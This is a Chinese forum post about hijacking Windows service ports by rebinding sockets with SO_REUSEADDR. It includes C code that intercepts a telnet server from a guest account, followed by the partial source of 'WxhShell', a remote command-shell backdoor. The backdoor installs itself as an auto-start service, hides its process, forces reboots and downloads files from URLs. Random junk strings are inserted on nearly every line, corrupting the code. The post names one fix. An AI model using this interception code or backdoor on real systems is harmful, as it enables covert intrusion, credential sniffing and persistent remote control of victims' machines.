社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15729阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZOsn,nF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T`G"2|ISS  
7l EwQ  
  saddr.sin_family = AF_INET; 1Ac1CsK*  
P.P>@@+d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0u9h2/ma  
H2KY$;X [  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _ h-X-s Y  
1#u w^{n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S?tLIi/  
`v er "s;  
  这意味着什么?意味着可以进行如下的攻击: DgP%Q  
QyQ8M1m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Xqw7lj;K  
uwzT? C A6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "|rqt.f2[  
5Yr$dNe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jp0.h8i  
-qF|Y f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A4x3TW?  
,:{+ H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >$F]Ss)$  
iHB)wC`u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bc-)y3gHU  
I-"{m/PEdg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EUqG"h5#A{  
kRPg^Fw"Vw  
  #include N|}`p"  
  #include h='=uj8o5  
  #include !HYqM(|{.  
  #include    hrF4 a$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i/z7a%$   
  int main() ,,gYU_V  
  { RwWQ$Eb_s  
  WORD wVersionRequested; N%+M+zEJ  
  DWORD ret; cO9Aw!  
  WSADATA wsaData; {VG6m Hw  
  BOOL val; a6_`V;  
  SOCKADDR_IN saddr; Q{60^vg  
  SOCKADDR_IN scaddr; aT#|mk=\  
  int err; XLT<,B}e  
  SOCKET s; 5"U7I{\  
  SOCKET sc; rB]/N,R   
  int caddsize; rf@81Ds  
  HANDLE mt; clNP9{  
  DWORD tid;   U^D7T|P$V  
  wVersionRequested = MAKEWORD( 2, 2 ); kTV D 4Z=  
  err = WSAStartup( wVersionRequested, &wsaData ); q-#fuD^  
  if ( err != 0 ) { O/Vue  
  printf("error!WSAStartup failed!\n"); VbjW$?  
  return -1; >B0S5:S$W  
  } Y|F);XXIl  
  saddr.sin_family = AF_INET; ZUycJ-[  
   |wx1 [xZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "2J;~  
=[kv@ p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *O~D lf  
  saddr.sin_port = htons(23); %~~QXH\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _ sd?l  
  { aF:LL>H  
  printf("error!socket failed!\n"); 6c:$[owC  
  return -1; Dts:$PlCk  
  } Iu8=[F>  
  val = TRUE; rk|6!kry  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JLhp25{x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c1i7Rc{q  
  { 2r,fF<WQ  
  printf("error!setsockopt failed!\n"); `*]r.u0  
  return -1; ` Oi@7 /oT  
  } 8Bhng;jX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hY!G>d{J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !s$fqn 6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V47 Fp  
]#nAld1cmy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,3wo  
  { j[9 B,C4  
  ret=GetLastError(); _R]h]<TQ  
  printf("error!bind failed!\n"); `fs[C  
  return -1; 2.6,c$2tB  
  } 2}NfR8 N  
  listen(s,2); 7Ny>W(8  
  while(1) =xgW$c/yB  
  { qcK)J/K"  
  caddsize = sizeof(scaddr); m2;%|QE(  
  //接受连接请求 n}l Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;RU)Q)a)  
  if(sc!=INVALID_SOCKET) 7 ir T6O<.  
  { <,m}TTq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ! M bRI  
  if(mt==NULL) m'pihFR:f  
  { VAq:q8(K  
  printf("Thread Creat Failed!\n"); L8V'mUyD  
  break; IflpM]  
  } xe5>)\18-  
  } '!_o`t@  
  CloseHandle(mt); /( q*  
  } sx22|j`)V  
  closesocket(s); lB-Njr  
  WSACleanup(); @FQ@* XD  
  return 0; U<*dDE~z  
  }   s#4 "f  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7B'0(70  
  { &P\T{d2"  
  SOCKET ss = (SOCKET)lpParam; n44j]+P  
  SOCKET sc; 5vS'Qhc  
  unsigned char buf[4096]; giI9-C  
  SOCKADDR_IN saddr; o}[wu:>yk  
  long num; FCg,p2  
  DWORD val; ;$W|FpR2  
  DWORD ret; Ngg (<ZN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _3)~{dQ+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   poM VB{U  
  saddr.sin_family = AF_INET; c^m}ep\F5L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]+J]}C]\d  
  saddr.sin_port = htons(23); r1,RloyZS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jr#ptf"Wu  
  { <}|+2f233+  
  printf("error!socket failed!\n"); A6-JV8^  
  return -1; 6Z7{|B5}Y  
  } uYV# '%  
  val = 100; w@hm>6j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d kPfdK}G  
  { [^aow-4z  
  ret = GetLastError(); <x,$ODso  
  return -1; kGCd!$fsk  
  } S_C+1e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ptX;-'j(  
  { T'FRnC^~  
  ret = GetLastError(); y6;A4p>  
  return -1; e;,D!  
  } !5pnl0DK*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K o,O!T.  
  { )~rN{W<s`H  
  printf("error!socket connect failed!\n"); I9H+$Wjd  
  closesocket(sc); c_+}`  
  closesocket(ss); 5_{C \S`T  
  return -1; qY0p)`3!%  
  } DjtUX>e  
  while(1) {Dqf.w>t  
  { GJU84Xn7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lkOugjI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B_nim[72  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B xq(+^T  
  num = recv(ss,buf,4096,0); "\Z.YZUa\  
  if(num>0) Beq zw0  
  send(sc,buf,num,0); d_]zX;_  
  else if(num==0) WM~@/J  
  break; qf7 lQovK  
  num = recv(sc,buf,4096,0); ]^p6db zWe  
  if(num>0) U)o(}:5xF  
  send(ss,buf,num,0); NvQN  
  else if(num==0) rOEk%kJ  
  break; gYw4YP0Gz  
  } *6?h,Dt L  
  closesocket(ss); txw:m*(%  
  closesocket(sc); ??Q'| r  
  return 0 ; ZG"_M@S.  
  } +"'cSAK  
&82Za%  
xp.~i*!`  
========================================================== )OS^tG[=  
tI~.3+F  
下边附上一个代码,,WXhSHELL K1Snag  
vlY83mU.  
========================================================== |VQ17*4ff1  
.Cwg l  
#include "stdafx.h" EIPNR:6t  
| U )  
#include <stdio.h> Bf1,(^3XH  
#include <string.h> Z9,-FO{#3-  
#include <windows.h> .zZee,kM  
#include <winsock2.h> -|YG**i/  
#include <winsvc.h> p#g o<Y#  
#include <urlmon.h> )7jjfD\  
^YiGvZJ  
#pragma comment (lib, "Ws2_32.lib") R~ n[g  
#pragma comment (lib, "urlmon.lib") GCm(3%{V%(  
(?4m0Sn>#h  
#define MAX_USER   100 // 最大客户端连接数 yq]=+X>(  
#define BUF_SOCK   200 // sock buffer Mtq\xF,/+  
#define KEY_BUFF   255 // 输入 buffer W<| M0S{  
?gD^K,A Hd  
#define REBOOT     0   // 重启 Uq/FH@E=  
#define SHUTDOWN   1   // 关机 +L(|?|i8  
q(xr5iuP_  
#define DEF_PORT   5000 // 监听端口 !1(*D*31  
Wg{ 9X#|  
#define REG_LEN     16   // 注册表键长度 m#w1?y)Z@X  
#define SVC_LEN     80   // NT服务名长度 *Cf5D6=Q  
I8};t b#  
// 从dll定义API ;\a?xtIy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F/p/&9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [>--U)/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lidVe]>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r)<c ~\0 7  
Ql>bsr}  
// wxhshell配置信息 kA/4W^]Ws  
struct WSCFG { u-</G-y  
  int ws_port;         // 监听端口 4, EX2  
  char ws_passstr[REG_LEN]; // 口令 "xWrYq'"  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;Qn)~b~  
  char ws_regname[REG_LEN]; // 注册表键名 gug9cmA/Q7  
  char ws_svcname[REG_LEN]; // 服务名 gpT~3c;l=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rp^fY_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qkXnpv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xQUskjv/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2 o)8'Lp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h4ozwVA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P*6h $T  
+-X 6 8`  
}; b I"+b\K  
4yK{(!&i+  
// default Wxhshell configuration _w}l,   
struct WSCFG wscfg={DEF_PORT, N =T 0Td  
    "xuhuanlingzhe", H~$*R7~  
    1, (zr2b  
    "Wxhshell", q!;u4J  
    "Wxhshell", /6 y9 u}  
            "WxhShell Service", !P8Y(i  
    "Wrsky Windows CmdShell Service", jhR`%aH4  
    "Please Input Your Password: ", *3iEO>  
  1, I|x? K>  
  "http://www.wrsky.com/wxhshell.exe", &M>o  
  "Wxhshell.exe" gp+aUK~o  
    }; b9;w3Ba  
$;pHv<  
// 消息定义模块 3ncN) E/@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y(RB@+67  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &j}:8Tst  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XvSng"f.  
char *msg_ws_ext="\n\rExit."; _I?oR.ON33  
char *msg_ws_end="\n\rQuit."; Hk f<.U  
char *msg_ws_boot="\n\rReboot..."; e_YTh^wU  
char *msg_ws_poff="\n\rShutdown..."; !aB~G}'  
char *msg_ws_down="\n\rSave to "; ]T<tkvcI  
<KX fh  
char *msg_ws_err="\n\rErr!"; w8D6j%C  
char *msg_ws_ok="\n\rOK!"; }  fa  
D"msD"  
char ExeFile[MAX_PATH]; ~ <36vsk  
int nUser = 0; ]f~!Qk!I7r  
HANDLE handles[MAX_USER]; '':MhRb  
int OsIsNt; $[g#P^  
!]3kFWs  
SERVICE_STATUS       serviceStatus; a>Wr2gPko  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p\P)    
$0gGRCCG;  
// 函数声明 T65"?=<EB  
int Install(void); G0A\"2U  
int Uninstall(void); "$/1.SX;]  
int DownloadFile(char *sURL, SOCKET wsh); [<|$If99\  
int Boot(int flag); sXmP<c  
void HideProc(void); xO^lE@a o  
int GetOsVer(void); klAvi%^jE  
int Wxhshell(SOCKET wsl); mp)+wZAN&  
void TalkWithClient(void *cs); ~h:(9q8NLC  
int CmdShell(SOCKET sock); ;t M  
int StartFromService(void); yl&s!I  
int StartWxhshell(LPSTR lpCmdLine); p, T4BO  
BRa9j:_b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g[*"LOw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R^mkQb>m.  
9}_'  
// 数据结构和表定义 t3AmXx  
SERVICE_TABLE_ENTRY DispatchTable[] = X~cdM1z?  
{ *aJO5&w<T  
{wscfg.ws_svcname, NTServiceMain},  Cmp5or6d  
{NULL, NULL} T^F83Py<  
}; zwU1(?]I{  
+|x{?%.O  
// 自我安装 {V pk o  
int Install(void) uq/Fapl  
{ $Dd-2p   
  char svExeFile[MAX_PATH]; ;%Px~g  
  HKEY key; yh/JHo;  
  strcpy(svExeFile,ExeFile); p6aR/gFkqv  
O._\l?m  
// 如果是win9x系统,修改注册表设为自启动 B&7NF}CF2  
if(!OsIsNt) { SdN&%(ZE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Xz d> 5x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #.!#"8{0_  
  RegCloseKey(key); _Hd|y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9]{va"pe7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w3 kkam"  
  RegCloseKey(key); ^BM !TQ%!  
  return 0; rB{w4  
    } m"-kkH{I  
  } ;aj;(Z.p)  
} pF7N = mO  
else { :|$cG~'J  
xticC>  
// 如果是NT以上系统,安装为系统服务 }O>4XFj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )0/*j]Kf  
if (schSCManager!=0) ya{`gjIlW  
{ Z#B}#*<C  
  SC_HANDLE schService = CreateService 3y+~l H :  
  ( h _{f_GQ"  
  schSCManager, uI9*D)  
  wscfg.ws_svcname, 6%h%h: e  
  wscfg.ws_svcdisp, z HvE_ -  
  SERVICE_ALL_ACCESS, _"Z?O)d*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;[UI ]?A%  
  SERVICE_AUTO_START, j7MUA#6$  
  SERVICE_ERROR_NORMAL, &A*E)T#>#  
  svExeFile, %#rtNDi  
  NULL, 6dmb bgO)  
  NULL, Il9xNVos#  
  NULL, {@iLfBh5  
  NULL, 3cgq'ob  
  NULL -seLa(8F  
  ); vanV|O  
  if (schService!=0) e"wz b< b  
  { jrFPd  
  CloseServiceHandle(schService); fv#ov+B  
  CloseServiceHandle(schSCManager); auc:|?H~1n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >\^oCbqF}~  
  strcat(svExeFile,wscfg.ws_svcname); wM4{\  f\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K}cA%Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @2L^?*n=  
  RegCloseKey(key); ?4U4o<   
  return 0; Pg8boN]}  
    } O|+ZEBP  
  } i9zh X1#  
  CloseServiceHandle(schSCManager); !L{mE&  
} zl6]N3+4  
} wkGr}  
i a!!jK}  
return 1; 2F`#df  
} \fEG5/s}T  
x%r$/=  
// 自我卸载 }a[]I%bu 2  
int Uninstall(void) iB(?}SaAZ  
{ j@(S7=^C6%  
  HKEY key; K"XwSZ/  
|v%$Q/zp&  
if(!OsIsNt) { P$Vh{]4i{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >QvqH 2  
  RegDeleteValue(key,wscfg.ws_regname); L!l?tM o  
  RegCloseKey(key); {22ey`@`h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B=K<k+{6"  
  RegDeleteValue(key,wscfg.ws_regname); ? OF $J|h  
  RegCloseKey(key); -XL? n/M  
  return 0; )cRHt:  
  } Zf}2c8Vc4  
} 53:u6bb;  
} g]HWaFjc5  
else { yN{**?b  
?>*d82yO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w9GY/]  
if (schSCManager!=0) u`Nrg<  
{ `Zo5!"'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T_c`=3aO  
  if (schService!=0) paD[4L?4Hk  
  {  +qj Z;5(  
  if(DeleteService(schService)!=0) { 0 fT*O  
  CloseServiceHandle(schService); faLfdUimJ  
  CloseServiceHandle(schSCManager); .O0eSp|e  
  return 0; 9-m_ e=jk6  
  } ,?j!c*  
  CloseServiceHandle(schService); c/bT5TIEWs  
  } xC _3&.  
  CloseServiceHandle(schSCManager); ~l'[P=R+8  
} g~K-'Nw  
} dfVI*5[Z  
M^ WoV }'  
return 1; st"@kHQ3  
} @]X!#&2>  
D&mPYxXL  
// 从指定url下载文件 t"%~r3{  
int DownloadFile(char *sURL, SOCKET wsh) wd|^m%  
{ 7eM6 B#rI  
  HRESULT hr; j^ 8Hjg  
char seps[]= "/"; !$iwU3~<  
char *token; gf9,/m  
char *file; 7]L}~  
char myURL[MAX_PATH]; u];\v%b  
char myFILE[MAX_PATH]; C|FI4/-e  
`ZC -lAY  
strcpy(myURL,sURL); u8A,f}D 3  
  token=strtok(myURL,seps); nrpbQ(zI*  
  while(token!=NULL) t9W*N\  
  { O[1Q#  
    file=token; ?=iy 6q  
  token=strtok(NULL,seps); gEVoY,}/-U  
  } <4?(|Vh[m]  
Us&~d"n  
GetCurrentDirectory(MAX_PATH,myFILE); YL;*%XmAG  
strcat(myFILE, "\\"); Tff eCaBv  
strcat(myFILE, file); bsc b  
  send(wsh,myFILE,strlen(myFILE),0); u?g;fh6  
send(wsh,"...",3,0); "$%&C%t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `o+J/nc  
  if(hr==S_OK) =1B;<aZH!  
return 0; gY-}!9kW]  
else S|RUc}(  
return 1; ]Ah<kq2sk  
LwQYO'X  
} LGRhCOP:  
V,tYqhQ3  
// 系统电源模块 , YE+k`:  
int Boot(int flag) x*^)B~7}  
{ zq^eL=%:  
  HANDLE hToken; rJd-e96  
  TOKEN_PRIVILEGES tkp; .#e?[xxk  
Y#-pK)EeU  
  if(OsIsNt) { ` NvJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '! ;Xxe5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;ahI}}  
    tkp.PrivilegeCount = 1; /LCRi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MIAC'_<-e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g31\7\)Ir  
if(flag==REBOOT) { 9@p+g`o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'khhn6itA  
  return 0; +^aM(4K\  
} nfr..4,:  
else { ?B4X&xf.D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /(A rA=#  
  return 0; Q;p% VQ  
} `~W?a  
  } K&vqk/JW1  
  else { DVyxe}  
if(flag==REBOOT) { AUkePp78  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _ <pO<S  
  return 0; q&k?$rn  
} 0R?LWm j  
else { ATU]KL!{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EtvYIfemr  
  return 0; =g^JJpS  
} Q|HOy8O}Z  
} Rwz (20n\^  
L/J)OJe\  
return 1; ;=ERm=  
} w w{07g  
ji|tc9#6  
// win9x进程隐藏模块 ZzO.s$  
void HideProc(void) c3aF lxW  
{ /3v`2=b  
|/35c0IM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); < G:G/  
  if ( hKernel != NULL ) uzUZuJ  
  { Gl>_C@n0h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1{X ;&y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nqyB,vv0  
    FreeLibrary(hKernel); FY;R0+N  
  } )y}W=Q>T  
yY42+%P  
return; Tj*Vk $}0  
} |d8x55dk  
7vs>PV  
// 获取操作系统版本 9AdA|/WV  
int GetOsVer(void) J'>i3e Lq  
{ f"G?#dW/1  
  OSVERSIONINFO winfo; j5>3Td.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $]yHk  
  GetVersionEx(&winfo); ww"HV;i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ${F] N }  
  return 1; ;4 ON  
  else Ui`Z>,0sFi  
  return 0; r/vRaOg>X  
} `by\@xQ)  
sC.aT(meJ  
// 客户端句柄模块 eO:wx.PW  
int Wxhshell(SOCKET wsl) Z>H y+Q4  
{ qj5V<c;h%W  
  SOCKET wsh; eD481r  
  struct sockaddr_in client; GwoN=  
  DWORD myID; JW4~Qwx  
A<VNttgG  
  while(nUser<MAX_USER) hs"=>(P)  
{ *h>KeIB;  
  int nSize=sizeof(client); }QL 2#R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C&vUZa[p  
  if(wsh==INVALID_SOCKET) return 1; 75LIQ!G|=  
KPOr8=Rc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [l2ds:  
if(handles[nUser]==0) TYQ7jt0=.-  
  closesocket(wsh); E$'Zd,|f=  
else Q~A25Jf .  
  nUser++; [y}0X^9,E  
  } (*Jcx:rH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RTW4r9~'  
#q"^6C 5  
  return 0; c.u$NnDU6  
} 9o]h}Xc  
C[ ehw  
// 关闭 socket j~eYq  
void CloseIt(SOCKET wsh) '@ym-\,  
{ \WnI&nu  
closesocket(wsh); SG{> t*E  
nUser--; +|N!(H  
ExitThread(0); v^a. b  
} i 5"g?Wa2N  
S'NZb!1+  
// 客户端请求句柄 yu'2  
void TalkWithClient(void *cs) QGYO{S  
{ F(-Q]xj,  
DA_[pR  
  SOCKET wsh=(SOCKET)cs; a3wTcp "r  
  char pwd[SVC_LEN]; ][|)qQ%V  
  char cmd[KEY_BUFF]; O3JN?25s  
char chr[1]; G] -$fz  
int i,j; +)#d+@-  
u.t(78N  
  while (nUser < MAX_USER) { pv.0!a/M  
#HD$=ECcw  
if(wscfg.ws_passstr) { 'J (4arN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e5bRi0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f-N:  
  //ZeroMemory(pwd,KEY_BUFF); )SMS<J  
      i=0; @aU%1h5W;l  
  while(i<SVC_LEN) { )&"l3*x  
:*aBiX"  
  // 设置超时 @;iW)a_M  
  fd_set FdRead; 5eI3a!E]O  
  struct timeval TimeOut; n{dl- P  
  FD_ZERO(&FdRead); @'.(62v  
  FD_SET(wsh,&FdRead); Ctpr.  
  TimeOut.tv_sec=8; fZ2>%IxG}  
  TimeOut.tv_usec=0; [:x^ffs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Z! #6(G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !7MC[z(|N  
@|:_?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yyq:5V!  
  pwd=chr[0]; uV r6tb1  
  if(chr[0]==0xd || chr[0]==0xa) { @B;2z_Y!l  
  pwd=0; (|_1ku3!  
  break; g@!mV)c97  
  } 5CZii=@  
  i++; !/W[6'M#p  
    } xEN""*Q  
&n>\ +Q   
  // 如果是非法用户,关闭 socket D2o,K&V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bce>DLF  
} Az29?|e  
pp$WM\r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h:iK;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @^8tk3$ Y  
-lr)z=})  
while(1) { \F;V69'  
XUT,)dL  
  ZeroMemory(cmd,KEY_BUFF); t|Cp<k]B  
3n;UXYJ%  
      // 自动支持客户端 telnet标准   )UA$."~O  
  j=0; J0 BA@jH5  
  while(j<KEY_BUFF) { iR;Sd >)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bD_|n!3  
  cmd[j]=chr[0]; >U\,(VB  
  if(chr[0]==0xa || chr[0]==0xd) { '_& Xemz  
  cmd[j]=0; Mg? ^5`*  
  break; )N`a4p  
  } J%d\ 7  
  j++; p=m)lR9  
    } ZS0=xS5q)  
DIR_W-z  
  // 下载文件 GxWA=Xp^~G  
  if(strstr(cmd,"http://")) { KE3/sw0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vL"U=Q+/eY  
  if(DownloadFile(cmd,wsh)) a+!#cQl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <11pk  
  else !=j\pu} Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?bwF$Ku  
  } N*6Y5[g!\  
  else { H^cB ?i  
 PZZTRgVc  
    switch(cmd[0]) { EgO=7?(pW  
  LB}y,-vX>  
  // 帮助 @+LkGrDP  
  case '?': { 'EFSr!+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >%jQw.  
    break; r8\"'4B1  
  } pC 5J '@  
  // 安装 :7&#ej6  
  case 'i': { "Sp+Q&2U  
    if(Install()) rW$ )f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,L ;ueAo  
    else 6x%uWZa'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :#8#tLv  
    break; _,V 9^  
    } d<mj=V@bd  
  // 卸载 a1]@&D r  
  case 'r': { =fmM=@!$<  
    if(Uninstall()) l$KC\$?%*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49b#$Xq  
    else rZ<n0w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4qq+7B  
    break; nbM[?=WS  
    }  # Vz9j  
  // 显示 wxhshell 所在路径 wYnsd7@I  
  case 'p': { 69{^Vfd;Y  
    char svExeFile[MAX_PATH]; nb}*IExd  
    strcpy(svExeFile,"\n\r"); 7{HJjH!zx  
      strcat(svExeFile,ExeFile); ,f0|eu>  
        send(wsh,svExeFile,strlen(svExeFile),0); g.-{=kZ   
    break; S;#S3?G  
    } +92/0  
  // 重启 &Rw4ub3  
  case 'b': { (. ~#bl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;Awt:jF  
    if(Boot(REBOOT)) \T)2J|mW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e| x1Dq  
    else { ^_FB .y%  
    closesocket(wsh); ;=goIsk{Q  
    ExitThread(0); |sd0fTK  
